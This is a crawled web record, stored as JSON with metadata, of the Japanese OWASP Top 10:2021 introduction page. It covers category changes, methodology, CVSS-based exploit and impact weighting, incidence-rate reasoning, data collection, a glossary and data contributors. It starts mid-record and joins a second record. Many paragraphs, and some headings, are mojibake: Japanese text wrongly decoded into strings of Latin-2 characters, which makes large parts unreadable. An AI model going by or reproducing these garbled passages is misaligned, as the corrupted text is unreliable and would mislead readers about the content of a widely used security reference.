に調整されました。CVSSv3では、理論的な最大値が*Exploit*が6.0、*Impact*が4.0に制限されています。この重み付けにより、CVSSv3ではインパクトのスコアが平均でほぼ1.5ポイント高くなり、悪用性のスコアは平均でほぼ0.5ポイント低くなりました。\n\nOWASP Dependency Checkから抽出されたNVDNational Vulnerability Database)データには、CWEがマッピングされたCVEのレコードは125,000件あり、これらの中に一意のCWEは241件確認されました。CWEがマップされた 6,200件がCVSSv3スコアを持っており、これはデータセットの母数の約半分に相当します。\n\n2021年版Top10では、以下の方法で平均*悪用性*スコアと*影響*スコアを算出しました。CVSSスコアを持つすべてのCVEをCWEでグループ化し、*悪用性*と*影響*の両スコアを、CVSSv3スコアを持つ母集団の割合 + CVSSv2スコアを持つ残りの母集団で重み付けして全体の平均値を算出しました。この平均値をデータセットのCWEにマッピングし、リスク方程式のうち半分の*悪用性*および*(技術面の) 影響*スコアとして使用しました。\n\n## なぜ純粋な統計データだけではないのか\n\nデータからの結果は、主に自動化された方法でテストできるものからに限られています。しかし、経験豊富なAppSecの専門家に話を聞けば、まだデータにはない発見や傾向について教えてくれるでしょう。とはいえ特定の脆弱性タイプに対するテスト手法を開発するのには時間が必要です。そのテストを自動化し、多くのアプリケーションに対して自動的に実行できるようにするのは、さらに時間がかかります。つまり、データから過去を振り返るだけでは限界があり、データにはない昨年のトレンドを見落としている可能性があります。\n\nそのため、不完全ともいえるデータの結果からのカテゴリ選定は10é …ç›ŽăŽă†ăĄ8é …ç›ŽăŤç•™ă‚ăŚă„ăžă™ă€‚ćŽ‹ă‚ŠăŽ2つのカテゴリーは、トップ10コミュニティ調査によって選びました。これは、最前線で実際に活躍されている方々が、最も高いリスクにもかかわらず、データには現れないであろう(データでは表しようもない)と思われるものを選んでくれたものです。\n\n## é ťĺşŚă§ăŻăŞăă€ç™şç”ŸçŽ‡ă‚’ĺŸşćş–ă¨ă—ăŸç†ç”ą\n\nデータソースは主に3つあります。ここでは、HaTHuman-assisted Tooling:人間援助型自動テスト)、TaHTool-assisted Human:ツールを利用した手動テスト)、そしてRaw Tooling:完全自動テストと名付けました。\n\n自動テストとHaTăŻéŤ˜é ťĺşŚç™şčŚ‹ç”ŸćˆćŠŸă§ă™ă€‚ă“ă‚Œă‚‰ăŻă€ç‰šĺŽšăŽč„†ĺźąć€§ăŤĺŻžă—ăŚă€ăăŽč„†ĺźąć€§ă‚’ćŒă¤ă™ăšăŚăŽă‚¤ăƒłă‚šă‚żăƒłă‚šă‚’ă§ăă‚‹é™ă‚ŠčŚ‹ă¤ă‘ă‚ˆă†ă¨ă—ăžă™ă€‚ă“ăŽăŸă‚ă€ă„ăă¤ă‹ăŽč„†ĺźąć€§ăŽă‚żă‚¤ăƒ—ăŤă¤ă„ăŚéŤ˜ă„ç™şčŚ‹ć•°ă‚’ĺ‡şĺŠ›ă—ăžă™ă€‚ă‚Żăƒ­ă‚šă‚ľă‚¤ăƒˆă‚šă‚ŻăƒŞăƒ—ăƒ†ă‚Łăƒłă‚°ă‚’äž‹ăŤă—ăžă™ă¨ă€ă“ăŽč„†ĺźąć€§ăŻé€šĺ¸¸ă€čť˝ĺžŽă§ĺ­¤çŤ‹ă—ăŸăƒŸă‚šăŤă‚ˆă‚‹ă‚‚ăŽă¨ă‚ˇă‚šăƒ†ăƒ çš„ăŞĺ•éĄŒăŤă‚ˆă‚‹ă‚‚ăŽă€ăŽ2ç¨ŽéĄžăŒă‚ă‚Šăžă™ă€‚ă‚ˇă‚šăƒ†ăƒ çš„ăŞĺ•éĄŒă§ă‚ă‚‹ĺ ´ĺˆă€ĺ˜ä¸€ăŽă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă§ç™şčŚ‹ć•°ăŒć•°ĺƒăŤăŞă‚‹ă“ă¨ăŒă‚ă‚Šăžă™ă€‚ă“ăŽă‚ˆă†ăŞăƒ‡ăƒźă‚żă§äť–ăŽăƒŹăƒăƒźăƒˆă‚„ăƒ‡ăƒźă‚żă‹ă‚‰ç™şčŚ‹ă•ă‚ŒăŸäť–ăŽăťă¨ă‚“ăŠăŽč„†ĺźąć€§ăŒĺŸ‹ă‚‚ă‚ŒăŚă—ăžă„ăžă™ă€‚\n\n一方、TaHă§ăŻă€ă‚ˆă‚Šĺš…ĺşƒă„ç¨ŽéĄžăŽč„†ĺźąć€§ă‚’ç™şčŚ‹ă—ăžă™ăŒă€ć™‚é–“ăŽĺˆśç´„ä¸Šă€ç™şčŚ‹é ťĺşŚăŻă‹ăŞă‚Šä˝ŽăăŞă‚Šăžă™ă€‚äşşé–“ăŒă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚’ăƒ†ă‚šăƒˆă—ăŚă‚Żăƒ­ă‚šă‚ľă‚¤ăƒˆă‚šă‚ŻăƒŞăƒ—ăƒ†ă‚Łăƒłă‚°ă¨ă„ăŁăŸă‚‚ăŽă‚’ç™şčŚ‹ă—ăŸĺ ´ĺˆă€é€šĺ¸¸3つか4ă¤ăŽă‚¤ăƒłă‚šă‚żăƒłă‚šă‚’ç™şčŚ‹ă—ăŚĺˆ‡ă‚Šä¸Šă’ăžă™ă€‚ă“ăŽć™‚ç‚šă§ă‚ˇă‚šăƒ†ăƒ çš„ăŞç™şčŚ‹ă‚’ĺˆ¤ć–­ă—ă€ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłĺ…¨ä˝“ăŽă‚šă‚ąăƒźăƒŤă§äżŽć­Łă™ă‚‹ăŸă‚ăŽćŽ¨ĺĽ¨äş‹é …ă¨ă¨ă‚‚ăŤă€ăƒŹăƒăƒźăƒˆă‚’ć›¸ăä¸Šă’ă‚‹ă“ă¨ăŒă§ăăžă™ă€‚ă™ăšăŚăŽă‚¤ăƒłă‚šă‚żăƒłă‚šă‚’čŚ‹ă¤ă‘ă‚‹ă“ă¨ăŻ(それにかける時間も)必要ありません。\n\nこの2ă¤ăŽç•°ăŞă‚‹ăƒ‡ăƒźă‚żă‚ťăƒƒăƒˆă‚’ĺ–ă‚Šĺ‡şă—ăŚă€é ťĺşŚăŽčŚłç‚šă§ăƒžăƒźă‚¸ă—ă‚ˆă†ă¨ă—ăŸă¨ă—ăžă™ă€‚ăăŽĺ ´ĺˆă€č‡Şĺ‹•ăƒ†ă‚šăƒˆă¨HaTのデータで、より正確で(ただし広く薄い)TaHăŽăƒ‡ăƒźă‚żă‚’ĺŸ‹ă‚‚ă‚ŒăŚă—ăžă†ă§ă—ă‚‡ă†ă€‚ă“ă‚ŒăŒă‚Żăƒ­ă‚šă‚ľă‚¤ăƒˆă‚šă‚ŻăƒŞăƒ—ăƒ†ă‚Łăƒłă‚°ăŽă‚ˆă†ăŤă€ĺ˝ąéŸżăŻä¸€čˆŹçš„ăŤĺ°ă•ă„ă‹ä¸­ç¨‹ĺşŚă§ă‚ă‚‹ă‚ˆă†ăŞă‚‚ăŽăŒă€ĺ¤šăăŽăƒŞă‚šăƒˆăŤăŠă„ăŚéŤ˜ă„é †ä˝ăŤćŒ™ă’ă‚‰ă‚ŒăŚă„ă‚‹ç†ç”ąăŽä¸€ă¤ă§ă™ă€‚ă¤ăžă‚Šăžă•ă—ăç™şčŚ‹ăŒéžĺ¸¸ăŤĺ¤šă„ă‹ă‚‰ă§ă™ă€‚(クロスサイトスクリプティングはテストもしやすいので、それに対するテストも多く行われています)。\n\n2017年には、データを改めて見直し自動テスト及びHaTのデータをTaHのデータときれいに統合するために、代わりに発生率を用いることを導入しました。発生率とは、ある脆弱性タイプのインスタンスを一つ以上持っていたものが、アプリケーションの母集団のうち何%いたかを確認したものです。単発的なものかシステム的なものかは気にしません。それは私たちの目的に影響しないからです。つまり少なくとも1ă¤ăŽă‚¤ăƒłă‚šă‚żăƒłă‚šă‚’ćŒă¤ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽć•°ăŒĺˆ†ă‹ă‚Œă°ă‚ˆă„ă ă‘ăŞăŽă§ă™ă€‚ă“ă‚ŒăŻă€éŤ˜é ťĺşŚăŽçľćžœă§ăƒ‡ăƒźă‚żă‚’ĺŸ‹ă‚‚ă‚Œă•ă›ă‚‹ă“ă¨ăŞăă€č¤‡ć•°ăŽăƒ†ă‚šăƒˆă‚żă‚¤ăƒ—ăŤăžăŸăŒă‚‹ăƒ†ă‚šăƒˆăŽć‰€čŚ‹ă‚’ă‚ˆă‚Šć˜Žç˘şăŤç¤şă™ăŽăŤĺ˝šçŤ‹ăĄăžă™ă€‚ăƒŞă‚šă‚Żĺˆ†ćžčŚłç‚šă¨ă—ăŚă€ć”ťć’ƒč€…ăŻăŸăŁăŸ1つの脆弱なインスタンスがありさえすれば、カテゴリを経由してアプリケーション攻撃成功できる、ということにもあたります。\n\n## データの収集と分析のプロセスについて\n\n2017年のオープンセキュリティサミットでOWASP Top 10のデータ収集プロセスを正式化しました。OWASP Top 10のリーダーとコミュニティは、2日間かけて透明性のあるデータ収集プロセスを正式化することに取り組みました。2021年版は、このプロセスを利用した2回目の取り組みになります。\n\n私たちは、ソーシャルメディアのチャンネルを通じて、OWASPプロジェクトとOWASPぎGithub両方でデータの募集を公表しています。OWASPăƒ—ăƒ­ă‚¸ă‚§ă‚ŻăƒˆăŽăƒšăƒźă‚¸ă§ăŻă€ç§ăŸăĄăŒćą‚ă‚ăŚă„ă‚‹ăƒ‡ăƒźă‚żăŽčŚç´ ă‚„ć§‹é€ ă€ăă—ăŚćĺ‡şć–šćł•ă‚’ăƒŞă‚šăƒˆă‚˘ăƒƒăƒ—ă—ăŚă„ăžă™ă€‚GitHubăƒ—ăƒ­ă‚¸ă‚§ă‚Żăƒˆă§ăŻă€ăƒ†ăƒłăƒ—ăƒŹăƒźăƒˆă¨ăŞă‚‹ă‚ľăƒłăƒ—ăƒŤăƒ•ă‚Ąă‚¤ăƒŤă‚’ç”¨ć„ă—ăŚă„ăžă™ă€‚ĺż…čŚăŤĺżœă˜ăŚçľ„çš”ă¨ĺ”ĺŠ›ă—ă€ć§‹é€ ăŽč§Łćžă‚„CWEへのマッピングを行っています。\n\nベンダーのテスト業務を生業とする組織、バグバウンティベンダー、社内のデータテスト結果を提供してくれた組織などからデータを入手します。データを入手したら、それを読み込んで、どのようなCWEăŒăŠăŽăƒŞă‚šă‚Żă‚Ťăƒ†ă‚´ăƒŞăŤăƒžăƒƒăƒ”ăƒłă‚°ă•ă‚Œă‚‹ă‹ă‚’ć šćœŹçš„ăŤĺˆ†ćžă—ăžă™ă€‚CWEの中にはリスクカテゴリが重複しているものもあれば、非常に密接に別のリスクカテゴリに関連しているものもあります(例:暗号の脆弱性)。提出された生データに関する決定はすべて文書化され、オープンとなるよう公開し、データをどのように正規化したかについて透明性のあるものとしています。\n\nトップ10に含めるために、発生率の高い8つのカテゴリーを調べます。また、トップ10のコミュニティアンケート結果を見て、すでにデータとして確認できているであろうものを確認します。そうしてデータからは確認できなかった上位2つを、Top10の残りの2箇所に選びます。10個すべてが選ばれたら、トップ10ă‚’ăƒŞă‚šă‚ŻăŤĺŸşăĽăé †ĺşă§ăƒŠăƒłă‚Żäť˜ă‘ă™ă‚‹ăŽăŤĺ˝šçŤ‹ăŚă‚‹ăšăă€ć‚Şç”¨ăŽă—ă‚„ă™ă•ă¨ĺ˝ąéŸżăŤé–˘ă™ă‚‹ä¸€čˆŹčŚç´ ă‚’ă‚ăŚăŻă‚ăžă—ăŸă€‚\n\n## 用語集\n\nトップ10カテゴリーのそれぞれの中にある下記用語について、意味を記載します。\n\n- CWEs Mapped(カテゴリにあたるCWEの数): Top10チームがカテゴリーにマッピングしたCWEの数です。\n- Incidence Rate(発生率): 発生率とは、当年に機関によってテストされた母集団のうち、カテゴリにマップされたCWEに脆弱なアプリケーションの割合を示します。\n- (Testing) Coverage(テスト)網羅範囲: カテゴリにマップされたCWEに対して、機関がテストできたアプリケーションの範囲。\n- Weighted Exploit(重み付けされた悪用性): CVEに割り当てられているCVSSv2およびCVSSv3スコアの悪用性サブスコアを正規化し、10ptのスケールで表示したものです。\n- Weighted Impact(重み付けされた影響度): CVEに割り当てられているCVSSv2およびCVSSv3スコアの影響サブスコアを正規化し、10ptのスケールで表示したものです。\n- Total Occurrences(総発生数): カテゴリにマッピングされたCWEを持つことが判明したアプリケーションの総数です。\n- Total CVEs(CVE合計数): カテゴリにマッピングされたCWEに該当する、NVD DB内のCVEの総数です。\n\n## データ提供者への謝辞\n\nこの最も大規模で包括的なアプリケーションセキュリティのデータセットを作り上げるために、(何名かの匿名の提供者とともに)以下の組織には 50,000 を超えるアプリケーションに関するデータを提供いただきました。 これは皆様のご協力なくしては成し得ませんでした。\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## スポンサーへの謝辞", "znaku_textu": 23633, "slov": 378, "odkazu": 46, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:44", "sha256": "dcb9d89e5250b3e18b0461faa85f26ffe05fe06bd2b79f8ac3df37324cb86ce8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/ja/index.html", "titulek": "Welcome Page - OWASP Top 10:2021", "h1": "導入", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/ja/", "jazyk": "ja", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "導入"}, {"uroven": 2, "text": "OWASP Top 10 - 2021 へようこそ"}, {"uroven": 2, "text": "2021年版トップ10の変更点"}, {"uroven": 2, "text": "方法論"}, {"uroven": 2, "text": "カテゴリの構成について"}, {"uroven": 2, "text": "カテゴリ選定にデータがどのように使用されたか"}, {"uroven": 2, "text": "なぜ純粋な統計データだけではないのか"}, {"uroven": 2, "text": "é ťĺşŚă§ăŻăŞăă€ç™şç”ŸçŽ‡ă‚’ĺŸşćş–ă¨ă—ăŸç†ç”ą"}, {"uroven": 2, "text": "データの収集と分析のプロセスについて"}, {"uroven": 2, "text": "用語集"}, {"uroven": 2, "text": "データ提供者への謝辞"}, {"uroven": 2, "text": "スポンサーへの謝辞"}], "markdown": "# 導入\n\n## OWASP Top 10 - 2021 へようこそ\n\nOWASP トップ 10 の最新版へようこそ! OWASP トップ 10 2021年版は、グラフィックデザインが一新され、1ページのインフォグラフィックになっています。インフォグラフィックは、ホームページから入手でき、印刷することができます。\n\n今回のトップ10の作成にあたって、貴重な時間やデータを提供してくださったすべての皆さんに感謝します。皆様のご協力なくしては、OWASP トップ 10 2021年版は存在し得ません。**本当に、感謝いたします**。\n\n## 2021年版トップ10の変更点\n\n2021年版トップ10では、3つの新しいカテゴリー、4つのカテゴリーの名称とスコープの変更がありました。統合されたものもいくつかあります。\n\n- **[A01:2021-アクセス制御の不備](A01_2021-Broken_Access_Control/)** は、5位から最も深刻なWebă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăƒŞă‚šă‚Żă¸ă¨é †ä˝ă‚’ä¸Šă’ăžă—ăŸă€‚č˛˘çŒŽă•ă‚ŒăŸăƒ‡ăƒźă‚żă‹ă‚‰ă€ĺšłĺ‡ă§ăƒ†ă‚šăƒˆă•ă‚ŒăŸă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽ3.81%が1つ以上の共通脆弱性タイプ一覧(CWE)を持っており、このリスクカテゴリに該当するCWEは 318,000 äťśäťĽä¸Šĺ­˜ĺœ¨ă—ăŚă„ăŸă“ă¨ăŒă‚ă‹ă‚Šăžă—ăŸă€‚äť–ăŽă‚Ťăƒ†ă‚´ăƒŞăƒźăŤćŻ”ăšă€ă€Œă‚˘ă‚Żă‚ťă‚šĺˆśĺžĄăŽćŹ é™Ľă€ăŤă‚ăŸă‚‹34䝜ぎCWEがアプリケーション内で多く発生していました。\n- **[A02:2021-暗号化の失敗](A02_2021-Cryptographic_Failures/)** ăŻă€ă˛ă¨ă¤é †ä˝ă‚’ä¸Šă’ăŚ2位になっています。以前は、 **A3:2017-ćŠŸĺžŽăŞćƒ…ĺ ąăŽéœ˛ĺ‡ş** ă¨ĺ‘źă°ă‚ŒăŚă„ăžă—ăŸăŒă€ă“ă‚ŒăŻć šćœŹçš„ăŞĺŽŸĺ› ă¨ă„ă†ă‚ˆă‚Šĺš…ĺşƒăăżă‚‰ă‚Œă‚‹ç—‡çŠśă¨č¨€ăˆăžă™ă€‚ă“ă“ă§ăŻă€ćŠŸĺŻ†ăƒ‡ăƒźă‚żăŽćźăˆă„ă‚„ă‚ˇă‚šăƒ†ăƒ äžľĺŽłăŤĺ¤šăé–˘é€Łă™ă‚‹ă€ćš—ĺˇćŠ€čĄ“ăŤăžă¤ă‚ă‚‹ĺ¤ąć•—ăŤç„Śç‚šă‚’ĺ˝“ăŚăŚă„ăžă™ă€‚\n- **[A03:2021-インジェクション](A03_2021-Injection/)** は、3位に下がっています。94%のアプリケーションで何らかのインジェクションに関する問題が確認されています。最大発生率は19%、平均発生率は3.37%であり、このカテゴリにあたる33ぎCWEは、アプリケーションでの発生数が2番目に多く見られます。発生数は27万4千件でした。今回から、クロスサイトスクリプティングは、このカテゴリに含まれています。\n- **[A04:2021-安全が確認されない不安な設計](A04_2021-Insecure_Design/)** は、2021ĺš´ăŤć–°č¨­ă•ă‚ŒăŸă‚Ťăƒ†ă‚´ăƒŞăƒźă§ă€č¨­č¨ˆä¸ŠăŽćŹ é™ĽăŤé–˘ă™ă‚‹ăƒŞă‚šă‚ŻăŤç„Śç‚šă‚’ĺ˝“ăŚăŚă„ăžă™ă€‚ä¸€ćĽ­ç•Œă¨ă—ăŚă€ćˆ‘ă€…ăŒç´”ç˛‹ăŤă€Œă‚ˇăƒ•ăƒˆăƒŹăƒ•ăƒˆă€ă™ă‚‹ă“ă¨ă‚’ćœ›ă‚€ăŽă§ă‚ă‚Œă°ă€č„…ĺ¨ăƒ˘ăƒ‡ăƒŞăƒłă‚°ă‚„ă€ĺŽ‰ĺ…¨ăŞč¨­č¨ˆăƒ‘ă‚żăƒźăƒłă¨ĺŽŸĺ‰‡ă€ăžăŸă€ăƒŞăƒ•ă‚ĄăƒŹăƒłă‚šăƒťă‚˘ăƒźă‚­ăƒ†ă‚ŻăƒăƒŁă‚’ă‚‚ăŁă¨ĺˆŠç”¨ă—ăŚă„ăă“ă¨ăŒĺż…čŚă§ă™ă€‚ 安全が確認されない不安な設計は完璧な実装によって修正されることはありません。定義上、(つまり設計自体が問題なので)特定の攻撃に対して必要なセキュリティ対策が作られることがありえないからです。\n- **[A05:2021-セキュリティの設定ミス](A05_2021-Security_Misconfiguration/)** は、前回の6ä˝ă‹ă‚‰é †ä˝ă‚’ä¸Šă’ăžă—ăŸă€‚ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽ90%に何らかの設定ミスが見られ、インシデントの平均発生率としては4.5%、このリスクカテゴリに該当するCWEは 208,000 件以上存在していたことがわかりました。 éŤ˜ĺşŚăŞč¨­ĺŽšăŒĺŻčƒ˝ăŞă‚˝ăƒ•ăƒˆă‚Śă‚§ă‚˘ă¸ăŽç§ťčĄŒăŒé€˛ă‚€ä¸­ă§ă€ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăƒźăŽé †ä˝ăŒä¸ŠăŒăŁăŸă“ă¨ăŻĺ˝“ç„śă¨č¨€ăˆăžă™ă€‚äťĽĺ‰ăŽă€ **A4:2017-XML 外部エンティティ参照 (XXE)** のカテゴリーは、このカテゴリーに含まれています。\n- **[A06:2021-脆弱で古くなったコンポーネント](A06_2021-Vulnerable_and_Outdated_Components/)** は、以前は「既知の脆弱性のあるコンポーネントの使用」というタイトルでした。この問題は、Top 10コミュニティの調査では2位であり、データ分析によってトップ10に入るだけのデータもありました。このカテゴリーは2017嚴ぎ9ä˝ă‹ă‚‰é †ä˝ă‚’ä¸Šă’ăžă—ăŸă€‚ă“ă‚ŒăŻă€ăƒ†ă‚šăƒˆă‚„ăƒŞă‚šă‚ŻčŠ•äžĄăŤč‹ŚĺŠ´ă™ă‚‹ă€ă‚ˆăçŸĽă‚‰ă‚ŒăŸĺ•éĄŒă§ă™ă€‚ăžăŸă€ĺŤăžă‚Œă‚‹CWEにあたる共通脆弱性識別子 (CVE)のない、唯一のカテゴリであるため、デフォルトのエクスプロイトとインパクトの重みは5.0ă¨ă—ăŚă‚šă‚łă‚˘ăŤĺć˜ ă•ă‚ŒăŚă„ăžă™ă€‚\n- **[A07:2021-識別と認証の失敗](A07_2021-Identification_and_Authentication_Failures/)** は以前、「認証の不備」と呼ばれていましたが、この版では第2ä˝ă‹ă‚‰é †ä˝ă‚’č˝ă¨ă—ă€č­˜ĺˆĽăŽĺ¤ąć•—ăŤé–˘é€Łă™ă‚‹CWEをより多く含む意味合いのカテゴリとなっています。このカテゴリーは依然としてトップ10ăŤç¤şă™ăšăé‡čŚăŞé …ç›Žă§ă™ăŒă€ć¨™ćş–ĺŒ–ă•ă‚ŒăŸăƒ•ăƒŹăƒźăƒ ăƒŻăƒźă‚ŻăŽĺˆŠç”¨ăŒé€˛ă‚“ă ă“ă¨ăŒĺŠŸă‚’ĺĽă—ăŚă„ă‚‹ă‚ˆă†ă§ă™ă€‚\n- **[A08:2021-ソフトウェアとデータの整合性の不具合](A08_2021-Software_and_Data_Integrity_Failures/)** は、2021年に新設されたカテゴリーで、ソフトウェアの更新、重要なデータを、CI/CDパイプラインにおいて整合性を検証せずに見込みで進めることによる問題にフォーカスしています。共通脆弱性識別子/共通脆弱性評価システム(CVE/CVSS) のデータから最も重大な影響を受けたものの1つが、このカテゴリーの10ぎCWEにマッピングされています。 **A8:2017-安全でないデシリアライゼーション** は、このカテゴリーの一部となりました。\n- **[A09:2021-セキュリティログとモニタリングの失敗](A09_2021-Security_Logging_and_Monitoring_Failures/)** は、従来は **A10:2017-不十分なロギングとモニタリング** でしたが、Top 10コミュニティの調査(第3ä˝ďź‰ă‹ă‚‰čż˝ĺŠ ă•ă‚Œă€ĺž“ćĽăŽçŹŹ10位からランクアップしました。このカテゴリは、より多くの種類の失敗を含むように拡張されています。これは、テストが困難なものであり、かつ、CVE/CVSSăŽăƒ‡ăƒźă‚żăŤăŻă‚ăžă‚Šĺć˜ ă•ă‚ŒăŞă„ă‚‚ăŽă§ă™ă€‚ă¨ăŻă„ăˆă€ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăƒźă§ĺ¤ąć•—ăŒčľˇăă‚‹ă¨ă€ĺŻčŚ–ć€§ă€ă‚¤ăƒłă‚ˇăƒ‡ăƒłăƒˆă‚˘ăƒŠăƒźăƒˆă€ăƒ•ă‚ŠăƒŹăƒłă‚¸ăƒƒă‚ŻăŞăŠăŤç›´ćŽĽĺ˝ąéŸżă‚’ä¸Žăˆă‚‹ĺŻčƒ˝ć€§ăŒă‚ă‚Šăžă™ă€‚\n- **[A10:2021-サーバーサイドリクエストフォージェリ(SSRF)](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** は、Top 10コミュニティの調査(第1ä˝ďź‰ă‹ă‚‰čż˝ĺŠ ă•ă‚ŒăŸă‚‚ăŽă§ă™ă€‚čŞżćŸťăƒ‡ăƒźă‚żă‹ă‚‰ă‚ă‹ă‚‹ă“ă¨ăŻă€ă‚ˆăă‚ă‚‹ăƒ†ă‚šăƒˆă‚ˆă‚ŠĺşƒçŻ„ăŞçŻ„ĺ›˛ăŤăŠă„ăŚă€ĺ•éĄŒăŽç™şç”ŸçŽ‡ăŻćŻ”čźƒçš„ä˝Žă„ă‚‚ăŽăŽă€ĺ•éĄŒăŒčľˇăăŸĺ ´ĺˆăŽă‚¨ă‚Żă‚šăƒ—ăƒ­ă‚¤ăƒˆă¨ă‚¤ăƒłăƒ‘ă‚ŻăƒˆăŻĺšłĺ‡äťĽä¸ŠăŽă‚‚ăŽă¨ăŞă‚Šĺž—ăžă™ă€‚ă“ăŽă‚Ťăƒ†ă‚´ăƒŞăŻă€çžć™‚ç‚šă§ăƒ‡ăƒźă‚żă¨ă—ăŚçžă‚Œă‚‹ă‚‚ăŽă§ăŻă‚ă‚Šăžă›ă‚“ă§ă—ăŸăŒă€č¤‡ć•°ăŽćĽ­ç•ŒăŽĺ°‚é–€ĺŽśăŤă‚ˆă‚Šé‡čŚă¨ăŽç¤şĺ”†ă‚’ĺž—ăŸă‚ˇăƒŠăƒŞă‚Şă¨ă—ăŚĺć˜ ă—ăŚă„ăžă™ă€‚\n\n## 方法論\n\n今回のトップ10は、これまで以上にデータを重視していますが、やみくもにデータを重視しているわけではありません。10é …ç›ŽăŽă†ăĄ8é …ç›ŽăŻćäž›ă•ă‚ŒăŸăƒ‡ăƒźă‚żă‹ă‚‰ă€2é …ç›ŽăŻTop 10ă‚łăƒŸăƒĽăƒ‹ăƒ†ă‚ŁăŽčŞżćŸťă‹ă‚‰éŤ˜ă„ăƒŹăƒ™ăƒŤă§é¸ăłăžă—ăŸă€‚ă“ă†ă™ă‚‹ă“ă¨ăŤăŻă˛ă¨ă¤ăŽć šćœŹçš„ăŞç†ç”ąăŒă‚ă‚Šăžă™ă€‚ćäž›ă•ă‚ŒăŸăƒ‡ăƒźă‚żă‚’čŚ‹ă‚‹ă“ă¨ăŻă€éŽĺŽťă‚’čŚ‹ă‚‹ă“ă¨ă‚’ć„ĺ‘łă—ăŚă„ă‚‹ă€ă¨ă„ă†ă“ă¨ă§ă™ă€‚ă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłă‚ťă‚­ăƒĽăƒŞăƒ†ă‚ŁăŽăƒŞă‚ľăƒźăƒăƒŁăƒźăŒć–°ă—ă„č„†ĺźąć€§ă‚„ă€ăă‚Œă‚’ăƒ†ă‚šăƒˆă™ă‚‹ć–°ă—ă„ć–šćł•ă‚’čŚ‹ă¤ă‘ă‚‹ăŽăŤăŻć™‚é–“ăŒă‹ă‹ă‚Šăžă™ă€‚ă“ă‚Œă‚‰ăŽăƒ†ă‚šăƒˆă‚’ăƒ„ăƒźăƒŤă‚„ăƒ—ăƒ­ă‚ťă‚šăŤçľ„ăżčžźă‚€ăŤăŻć™‚é–“ăŒă‹ă‹ă‚Šăžă™ă€‚ă“ă†ă—ăŸĺźąç‚šă‚’ĺşƒăç˘şĺŽŸăŤăƒ†ă‚šăƒˆă§ăă‚‹ă‚ˆă†ăŤăŞă‚‹ăžă§ăŤăŻă€ä˝•ĺš´ă‚‚ă‹ă‹ăŁăŚă—ăžă†ă“ă¨ă§ă—ă‚‡ă†ă€‚ăă“ă§ă€ăƒ‡ăƒźă‚żă§ăŻă‚ă‹ă‚‰ăŞă„ă‚ˆă†ăŞćœŹčłŞçš„ăŞĺźąç‚šăŻä˝•ă‹ă¨ă„ă†ă“ă¨ăŤă¤ă„ăŚăŻă€ćĽ­ç•ŒăŽçŹŹä¸€çˇšă§ć´ťčşă•ă‚ŒăŚă„ă‚‹ć–šă€…ăŤăŠčžăă™ă‚‹ă“ă¨ă§ăƒăƒŠăƒłă‚šă‚’ă¨ă‚‹ă€ă¨ă„ă†ă‚ă‘ă§ă™ă€‚\n\nトップ10を継続的に成熟させるために私たちが採用した、重要な変更点がいくつかあります。\n\n## カテゴリの構成について\n\n前回のOWASP Top 10からいくつかのカテゴリーが変更されています。以下に今回のカテゴリーの変更点を大まかにまとめます。\n\n前回のデータ収集活動は、約30個のCWEă‹ă‚‰ăŞă‚‹čŚĺŽšăŽă‚ľăƒ–ă‚ťăƒƒăƒˆăŤç„Śç‚šă‚’ĺ˝“ăŚă€čż˝ĺŠ ă¨ă—ăŚçžĺ ´ă§ăŽčŞżćŸťçľćžœă‚’ćą‚ă‚ăŚă„ăžă—ăŸă€‚ă“ăŽć–šćł•ă§ăŻă€çžĺ ´ăŽçľ„çš”ăŻă€ä¸ťăŤă“ăŽăƒŞă‚Żă‚¨ă‚šăƒˆă—ăŸ30ぎCWEă ă‘ăŤç„Śç‚šă‚’ĺ˝“ăŚăŚĺ ąĺ‘Šă‚’ăă‚Œă‚‹ă“ă¨ăŤăŞă‚Šă€ĺŽŸéš›ăŤčŚłĺŻŸă—ăŸCWEă‚’čż˝ĺŠ ă—ăŚăă‚Œă‚‹ă“ă¨ăŻăžă‚Œă ă¨ă„ă†ă“ă¨ăŒă‚ă‹ă‚Šăžă—ăŸă€‚ăă“ă§äťŠĺ›žăŻă€ăƒŞă‚Żă‚¨ă‚šăƒˆă™ă‚‹CWEに制限を設けずに、データを提供してもらうことにしました。ある年に(今回は2017年以降)テストしたアプリケーションの数と、テストでCWE登録されている例が1ă¤äťĽä¸ŠčŚ‹ă¤ă‹ăŁăŸă‚˘ăƒ—ăƒŞă‚ąăƒźă‚ˇăƒ§ăƒłăŽć•°ă‚’ĺ‡şă—ăŚăă‚Œă‚‹ă‚ˆă†äžé 